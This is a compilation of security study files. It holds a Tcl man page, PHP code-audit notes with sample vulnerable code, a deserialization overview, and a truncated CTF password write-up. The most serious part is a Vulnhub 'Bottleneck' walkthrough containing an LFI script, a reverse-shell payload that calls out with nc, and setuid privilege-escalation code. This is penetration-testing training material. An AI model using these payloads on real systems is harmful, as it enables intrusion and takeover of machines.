手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: time.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: time.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH time 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME time \- 多次执行一个脚本 .SH "总览 SYNOPSIS" \fBtime \fIscript\fR ?\fIcount\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令将 \fIcount\fR 次调用 Tcl 解释器求值 \fIscript\fR (如果未指定 \fIcount\fR 则为一次)。它将返回下面这种形式的一个字符串 .CS \fB503 microseconds per iteration\fR .CE 它指示每次重复操作(iteration)所需时间的平均值,以微秒为单位。测量时间使用流(elapsed)时间,而不是 CPU 时间。 .SH "参见 SEE ALSO" clock(n) .SH "关键字 KEYWORDS" script, time .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/20 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# PHP代码审计 --- **环境搭建** 推荐用 phpstudy 搭建 php 代码审计的环境,简单快捷,切换 php 版本也很方便,再配置好 Xdebug 在 PHPstorm 即可远程调试。 - 下载地址: https://www.xp.cn/download.html 相关文章 - [PHP代码审计_搭建及其环境配置](https://www.modb.pro/db/184384) 如果是云服务器,推荐使用 aapanel 部署 lnmp 环境,很方便 **相关工具** - [LoRexxar/Kunlun-M](https://github.com/LoRexxar/Kunlun-M) ```bash git clone --depth 1 https://github.com/LoRexxar/Kunlun-M.git cd Kunlun-M pip3 install -r requirements.txt cp Kunlun_M/settings.py.bak Kunlun_M/settings.py # 配置文件迁移 python3 kunlun.py init initialize # 初始化数据库,默认采用sqlite作为数据库 python3 kunlun.py config load # 加载规则进数据库(每次修改规则文件都需要加载) python3 kunlun.py -h python3 kunlun.py scan -t ./tests/vulnerabilities/ ``` - [ecriminal/phpvuln](https://github.com/ecriminal/phpvuln) **相关文章** - [PHP WebShell代码后门的一次检查](https://www.freebuf.com/articles/web/182156.html) - [记一次渗透测试](https://www.t00ls.net/articles-58440.html) - [webshell8.com 最新过waf大马分析。继续分析级去后门方法!](https://www.t00ls.net/thread-44654-1-1.html) - [报告,我已打入地方内部](https://mp.weixin.qq.com/s/OCGgWAbpWgrrj_UPmGvYLQ) - [某客户关系管理系统代码审计](https://mp.weixin.qq.com/s/wMvYqcFqy4BGDLh42C5JYg) - [代码审计-常见php威胁函数(上)](https://mp.weixin.qq.com/s/DdhiHBdOMLIOsa8qMXURHA) - [代码快速审计详解](https://mp.weixin.qq.com/s/ki-aVPU4FtmjtkZFuK4v-A) **相关靶场** - [yaofeifly/PHP_Code_Challenge](https://github.com/yaofeifly/PHP_Code_Challenge) **php代码解密** - [php免费在线解密-PHP在线解密](http://dezend.qiling.org/free.html) --- ## 硬编码 **通用关键词** - [APIkey/密钥信息通用关键词](../../信息收集/信息收集.md#通用关键词) --- ## 文件包含 **描述** include 将会包含语句并执行指定文件 **条件** PHP 的配置文件 allow_url_fopen 和 allow_url_include 设置为 ON **漏洞示例** ```php <?php highlight_file('index.php'); $file = $_GET['file']; include $file; ?> ``` **更多内容** - [文件包含](../../Web安全/Web_Generic/Web_Generic.md#文件包含) --- ## 文件操作 **相关文章** - [The End of AFR](https://blog.zeddyu.info/2022/09/27/2022-09-28-TheEndOfAFR/) **相关工具** - [wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT](https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT) **相关案例** - https://github.com/Taiwan-Tech-WebSec/Bug-Report/issues/91 **ctf writeup** - [Solving "includer's revenge" from hxp ctf 2021 without controlling any files](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) **文件操作类威胁函数** ``` file_put_contents file_put_contents($file, $string); copy highlight_file() fopen() read file() fread() fgetss() fgets() parse_ini_file() show_source() file() file_get_contents ``` **关键词** ``` +filename+ +file+ &file_name= &filename= &file= ``` --- ## PHP反序列化 **反序列化威胁函数** ``` __construct() __destruct() __sleep() __wakeup() __toString() __get() __set() __isset() __unset() __invoke() __call() __callStatic() ``` **更多内容** - [PHP反序列化](./PHP反序列化.md) --- ## SSRF **漏洞示例** curl() ```php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ``` file_get_contents() ```php $url = $_GET['url'];; echo file_get_contents($url); ``` fsockopen() ```php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ``` **审计函数** ``` cURL file_get_contents fsockopen() curl_exec() ``` **关键词** ``` file_get_contents($ ``` **更多内容** - [SSRF](../../Web安全/Web_Generic/SSRF.md) ### cURL cURL 支持 http、https、ftp、gopher、telnet、dict、file 和 ldap 等协议,利用 gopher,dict 协议,我们可以构造出相应 payload 直接攻击内网的 redis 服务。 curl/libcurl 7.43 版本上 Gopher 协议存在 bug 即 %00 截断,经测试 7.49 版本可用; curl_exec() 默认不跟踪跳转; ### file_get_contents file_get_contents() 支持 php://input 协议 file_get_contents 的 gopher 协议不能 UrlEncode --- ## PHP弱类型 - [弱类型](./弱类型.md) --- ## PHP变量覆盖 - [变量覆盖](./变量覆盖.md) --- ## PHP伪协议 - [PHP伪协议](./伪协议.md) --- ## PHP反序列化 - [PHP反序列化](./PHP反序列化.md) --- ## 命令执行 **审计函数** ``` exec() system() shell_exec() passthru() pcntl_exec() popen() proc_open() ``` --- ## 代码执行 **审计函数** ``` eval() assert() create_function() array_map() call_user_func() call_user_func_array() array_filter() usort() uasort() ```
sec-knowleage
# Insecure Deserialization > Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP Check the following sub-sections, located in other files : * [Java deserialization : ysoserial, ...](Java.md) * [PHP (Object injection) : phpggc, ...](PHP.md) * [Ruby : universal rce gadget, ...](Ruby.md) * [Python : pickle, ...](Python.md) * [YAML : PyYAML, ...](YAML.md) * [.NET : ysoserial.net, ...](DotNET.md) | Object Type | Header (Hex) | Header (Base64) | |-----------------|--------------|-----------------| | Java Serialized | AC ED | rO | | .NET ViewState | FF 01 | /w | | Python Pickle | 80 04 95 | gASV | | PHP Serialized | 4F 3A | Tz | ## POP Gadgets > A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process. POP gadgets characteristics: * Can be serialized * Has public/accessible properties * Implements specific vulnerable methods * Has access to other "callable" classes ## Labs * [Portswigger - Insecure Deserialization](https://portswigger.net/web-security/all-labs#insecure-deserialization) * [NickstaDB/DeserLab - Java deserialization exploitation lab](https://github.com/NickstaDB/DeserLab) ## References * [Github - frohoff/ysoserial](https://github.com/frohoff/ysoserial) * [Github - pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) * [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) * [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) * [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) * [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) * [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/) * [PHP unserialize](http://php.net/manual/en/function.unserialize.php) * [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) * [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) * [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin * [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg * [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel) * [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals * [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e) * [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh * [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) * [Exploiting insecure deserialization vulnerabilities - PortSwigger](https://portswigger.net/web-security/deserialization/exploiting)
sec-knowleage
# Bottleneck > https://download.vulnhub.com/bottleneck/Bottleneck.ova 靶场IP:`192.168.32.16` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.16 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 11:33 EDT Nmap scan report for 192.168.32.16 Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx MAC Address: 08:00:27:E2:53:18 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds ``` 浏览器访问80端口 ![image-20220911233507929](../../.gitbook/assets/image-20220911233507929.png) 爆破php文件 ``` ┌──(root㉿kali)-[~] └─# gobuster dir -x .php -w /usr/share/wordlists/dirb/big.txt -u http://192.168.32.16/ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.16/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: php [+] Timeout: 10s =============================================================== 2022/09/11 23:23:09 Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 162] [--> http://192.168.32.16/css/] /image_gallery.php (Status: 200) [Size: 6381] /img (Status: 301) [Size: 162] [--> http://192.168.32.16/img/] /index.php (Status: 200) [Size: 10175] /js (Status: 301) [Size: 162] [--> http://192.168.32.16/js/] /vendor (Status: 301) [Size: 162] [--> http://192.168.32.16/vendor/] =============================================================== 2022/09/11 23:23:14 Finished =============================================================== ``` 访问:`/image_gallery.php` ![image-20220912112430336](../../.gitbook/assets/image-20220912112430336.png) 查看网络找到一个接口,是文件包含图片 ``` http://192.168.32.16/image_gallery.php?t=1662953271&f=Ym90dGxlbmVja19kb250YmUucG5n ``` ![QQ录屏20220912112818](../../.gitbook/assets/QQ录屏20220912112818.gif) 写个python,读取`image_gallery.php` ```python #!/usr/bin/env python3 import requests import base64 import os ip = "192.168.32.16" url = f"http://{ip}/image_gallery.php" for i in range(0,10): payload = "../"*i+'image_gallery.php' # Find difference of timestamp s = os.popen("date +%s") t = int(s.read()) # Base64 encoding for payload word = payload.strip('\r').strip('\n') encode_payload_bytes = base64.b64encode(word.encode('utf-8')) encode_payload = encode_payload_bytes.decode('utf-8') try: params = {'t':str(t),'f':encode_payload} r = requests.get(url,params=params) #print("-----------Response Begin-----------") response = r.text if not response: print("No Response") else: if "Let me throw" not in response: print(f"Payload: {word}\nEncoded Payload: {encode_payload}\nt: {str(t)}") print(response) #print("-----------Response End-----------") except Exception as e: print(e) ``` ``` ┌──(root㉿kali)-[~] └─# python3 file.py Payload: ../image_gallery.php Encoded Payload: Li4vaW1hZ2VfZ2FsbGVyeS5waHA= t: 1662956230 <?php /* CHANGELOG v1.1: Still testing without content. I've fixed that problem that @p4w and @ska notified me after hacker attack. Shit I'm too lazy to make a big review of my code. I think that the LFI problem can be mitigated with the blacklist. By the way to protect me from attackers, all malicious requests are immediately sent to the SOC v1.0: Starting this beautiful gallery */ $tstamp = time(); if(isset($_GET['t']) && isset($_GET['f'])){ include_once 'image_gallery_load.php'; exit(); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content="bytevsbyt3"> <title>BOTTLENECK</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="css/agency.css" rel="stylesheet"> </head> <body id="page-top"> <!-- Navigation --> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Bottleneck</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> </div> </nav> <section class="bg-light page-section" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">GALLERY</h2> <h3 class="section-subheading text-muted">Some of our beautiful images</h3> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Analysis</h4> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Protection</h4> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Bypass</h4> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Include</h4> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Evaluation</h4> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="image_gallery.php?t=<?php echo $tstamp; ?>&f=Ym90dGxlbmVja19kb250YmUucG5n" alt=""> </a> <div class="portfolio-caption"> <h4>Win</h4> </div> </div> </div> </div> </section> <!-- Footer --> <footer class="footer"> <div class="container"> <div class="row align-items-center"> <div class="col-md-4"> <span class="copyright">Copyright &copy; This awesome website 2019</span> </div> <div class="col-md-4"> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="https://twitter.com/bytevsbyt3"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="https://github.com/bytevsbyte/"> <i class="fab fa-github"></i> </a> </li> <li class="list-inline-item"> <a href="https://github.com/beerpwn/ctf"> <i class="fab fa-github"></i> </a> </li> </ul> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/agency.js"></script> <body> </body> </html> ``` 读取`image_gallery_load.php`,看到了这些黑名单目录,这就是`/etc/passwd`不生效的原因。 ``` $imagefile = base64_decode($_GET['f']); $timestamp = time(); $isblocked = FALSE; $blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids'); $messages = array("\nLet me throw away your nice request into the bin.\n". "The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n". "Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n"); ``` 上面的 python 命令将输出到`/tmp/output`. ![image-20220912123219971](../../.gitbook/assets/image-20220912123219971.png) 输入反弹shell ``` ../etc/passwd' and __import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.32.5 1234 >/tmp/f") and ' ``` ![image-20220912123514120](../../.gitbook/assets/image-20220912123514120.png) 查看sudo列表 ``` ┌──(root㉿kali)-[~] └─# nc -lvp 1234 listening on [any] 1234 ... 192.168.32.16: inverse host lookup failed: Unknown host connect to [192.168.32.5] from (UNKNOWN) [192.168.32.16] 53454 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ sudo -l Matching Defaults entries for www-data on bottleneck: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bottleneck: (bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs ``` 查看`clear_logs` ``` $ ls -al /var/www/html/web_utils/clear_logs lrwxrwxrwx 1 www-data www-data 18 Sep 26 2019 /var/www/html/web_utils/clear_logs -> /opt/clear_logs.sh $ $ ls -al /opt/clear_logs.sh -rwxr--r-- 1 bytevsbyte bytevsbyte 43 Sep 27 2019 /opt/clear_logs.sh ``` 由于我们有编辑权限`clear_logs`,让我们用命令更改其符号链接: ``` ln -fns /tmp/clear_logsc /var/www/html/web_utils/clear_logs ``` 编辑`/tmp/clear_logsc`: ``` echo -e '#!/bin/bash\n/bin/bash' > /tmp/clear_logsc ``` 设置执行权限`/tmp/clear_logsc`: ``` chmod 777 /tmp/clear_logsc ``` 运行命令,我们将获得`bytevsbyte`用户: ``` sudo -u bytevsbyte /var/www/html/web_utils/clear_logs ``` ![image-20220912124056313](../../.gitbook/assets/image-20220912124056313.png) 我们现在`bytevsbyte`,让我们找到上面有 SUID 的文件: ``` find / -perm -u=s -type f 2>/dev/null ``` ![image-20220912124126485](../../.gitbook/assets/image-20220912124126485.png) 我们发现了一个有趣的文件: ``` /usr/test/testlib ``` ``` bytevsbyte@bottleneck:/tmp$ cat /usr/test/testlib.c cat /usr/test/testlib.c #include <dlfcn.h> #include <unistd.h> int main(int argc, char *argv[]){ void *handle; int (*function)(); if(argc < 2) return 1; handle = dlopen(argv[1], RTLD_LAZY); function = dlsym(handle, "test_this"); function(); return 0; } ``` 本地编译 ``` #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> void test_this() { setuid(0); setgid(0); system("/bin/sh"); } ``` ``` gcc -fPIC -shared exp.c -o exp.so ``` 提权成功 ``` /usr/test/testlib /tmp/exp.so ``` ![image-20230208133922553](../../.gitbook/assets/image-20230208133922553.png)
sec-knowleage
# Novosibirsk - Chemical plant Category: Web ## Description > "You must wonder why we have summoned you, AGENT? It has come to our attention that something terrible is about to take place. There is still time to prevent the disaster, and we could not think of anyone more suited for this task than you. We believe that if you can’t solve this quest, neither can anybody else. You have to travel to Novosibirsk, and investigate a suspicious chemical plant. This mission must be executed in secrecy. It’s classified, and it regards the safety of the whole world, therefore we can’t tell you anything more just yet. Go now, you have the fate of the world in your hands." > > Challenge: CCTV (rev) > > You arrive at your destination. The weather isn't great, so you figure there's no reason to stay outside and you make your way to one of the buildings. No one bothered you so far, so you decide to play it bold - you make yourself a cup of coffee in the social area like you totally belong here and proceed to find an empty room with a desk and a chair. You pull out our laptop, hook it up to the ethernet socket in the wall, and quickly find an internal CCTV panel - that's a way better way to look around unnoticed. Only problem is... it wants a password. ## Solution The attached website contained a form which requested a password. We can inspect the source and find the following HTML: ```html <body> <div class="outer"> <div class="top"><div>Industrial CCTV by YesWeAreSecure&trade;</div></div> <div class="container"> <div class="panel"> <p>Password:</p> <input id="password"> <p><button id="go">Log in</button></p> </div> </div> <div class="bottom"><div>Use the panel to log in.</div></div> </div> </body> <script> const checkPassword = () => { const v = document.getElementById("password").value; const p = Array.from(v).map(a => 0xCafe + a.charCodeAt(0)); if(p[0] === 52037 && p[6] === 52081 && p[5] === 52063 && p[1] === 52077 && p[9] === 52077 && p[10] === 52080 && p[4] === 52046 && p[3] === 52066 && p[8] === 52085 && p[7] === 52081 && p[2] === 52077 && p[11] === 52066) { window.location.replace(v + ".html"); } else { alert("Wrong password!"); } } window.addEventListener("DOMContentLoaded", () => { document.getElementById("go").addEventListener("click", checkPassword); document.getElementById("password").addEventListener("keydown", e => { if (e.keyCode === 13) { checkPassword(); } }); }, false); </script> ``` It looks like the password is checked in the client side. Therefore we can reverse the check and get the expected password: ```console ┌──(user@kali)-[/media/sf_CTFs/google/1_Novosibirsk_-_Chemical_plant] └─$ node > logic = `p[0] === 52037 && ... p[6] === 52081 && ... p[5] === 52063 && ... p[1] === 52077 && ... p[9] === 52077 && ... p[10] === 52080 && ... p[4] === 52046 && ... p[3] === 52066 && ... p[8] === 52085 && ... p[7] === 52081 && ... p[2] === 52077 && ... p[11] === 52066` 'p[0] === 52037 &&\n p[6] === 52081 &&\n p[5] === 52063 &&\n p[1] === 52077 &&\n p[9] === 52077 &&\n p[10] === 52080 &&\n p[4] === 52046 &&\n p[3] === 52066 &&\n p[8] === 52085 &&\n p[7] === 52081 &&\n p[2] === 52077 &&\n p[11] === 52066' > p = [] [] > eval(logic.replace(/===/g, "=").replace(/&&/g, ";")) 52066 > p [ 52037, 52077, 52077, 52066, 52046, 52063, 52081, 52081, 52085, 52077, 52080, 52066 ] > p.map(a => String.fromCharCode(a - 0xCafe)).join("") 'GoodPassword' ``` What we did here is to take the original expression and replace "===" with "=" and "&&" with ";" in order to create the following expression: ```console > console.log(logic.replace(/===/g, "=").replace(/&&/g, ";")) p[0] = 52037 ; p[6] = 52081 ; p[5] = 52063 ; p[1] = 52077 ; p[9] = 52077 ; p[10] = 52080 ; p[4] = 52046 ; p[3] = 52066 ; p[8] = 52085 ; p[7] = 52081 ; p[2] = 52077 ; p[11] = 52066 ``` We evaluate the expression with `eval` to recreate the `p` array, then use `map` to subtract `0xCafe` from each array element and receive the original expected input: `GoodPassword`. We enter the password and get redirected to a page with the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/google/1_Novosibirsk_-_Chemical_plant] └─$ 